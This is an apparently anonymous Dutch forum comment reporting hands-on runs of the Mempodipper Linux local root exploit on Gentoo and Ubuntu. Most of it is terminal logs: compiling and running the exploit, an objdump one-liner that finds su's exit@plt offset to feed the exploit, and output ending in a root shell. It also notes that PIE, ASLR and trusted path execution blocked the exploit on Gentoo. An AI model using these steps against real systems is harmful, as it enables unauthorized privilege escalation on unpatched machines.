Door Anoniem: [+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/7122/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402100.
[+] Calculating su padding.
[+] Seeking to offset 0x4020f4.
[+] Executing su with shellcode.
sh-4.1#
Gentoo 64bit op kernel 3.2.1
Die melding 'Could not resolve /bin/su' krijg je omdat op Gentoo /bin/su niet leesbaar is voor anderen dan root. De kernel is net zo vulnerable. Dus als je /bin/su niet leest maar direct wat gangbare adressen probeert werkt het gewoon.
Ik heb de gebruiker een ander group gegeven omdat hij in de TPE (trusted path execution) group zat en dan niets
kan uitvoeren behalve wat root heeft geinstalleerd.
Je had wel gelijk dat op gentoo niemand behalve root /bin/su kan lezen.
Maar dan nog de auteur van de local exploit ging er vanuit dat de meeste su versie op linux niet met pie gecompileerd zijn en dat ASLR uit staat, laat staan heap en andere randomisation.
localhost scripts # objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'
0x2a50
zvbhvb@localhost ~/scripts $ ./memrip -o 0x2a50 ===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/2839/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x2a44.
[+] Executing su with shellcode.
zvbhvb@localhost ~/scripts $ id
uid=1000(zvbhvb) gid=1000(zvbhvb) groups=1000(zvbhvb),10(wheel),18(audio),19(cdrom),27(video),100(users)
Op Ubuntu ben je inderdaad wel de sjaak:
zvbhvb@zvbhvb-DOTS-E2:~$ cd scripts/
zvbhvb@zvbhvb-DOTS-E2:~/scripts$ gcc -o memrip memrip.c
zvbhvb@zvbhvb-DOTS-E2:~/scripts$ chmod +x memrip
zvbhvb@zvbhvb-DOTS-E2:~/scripts$ ./memrip
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/3812/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049520.
[+] Calculating su padding.
[+] Seeking to offset 0x8049514.
[+] Executing su with shellcode.
#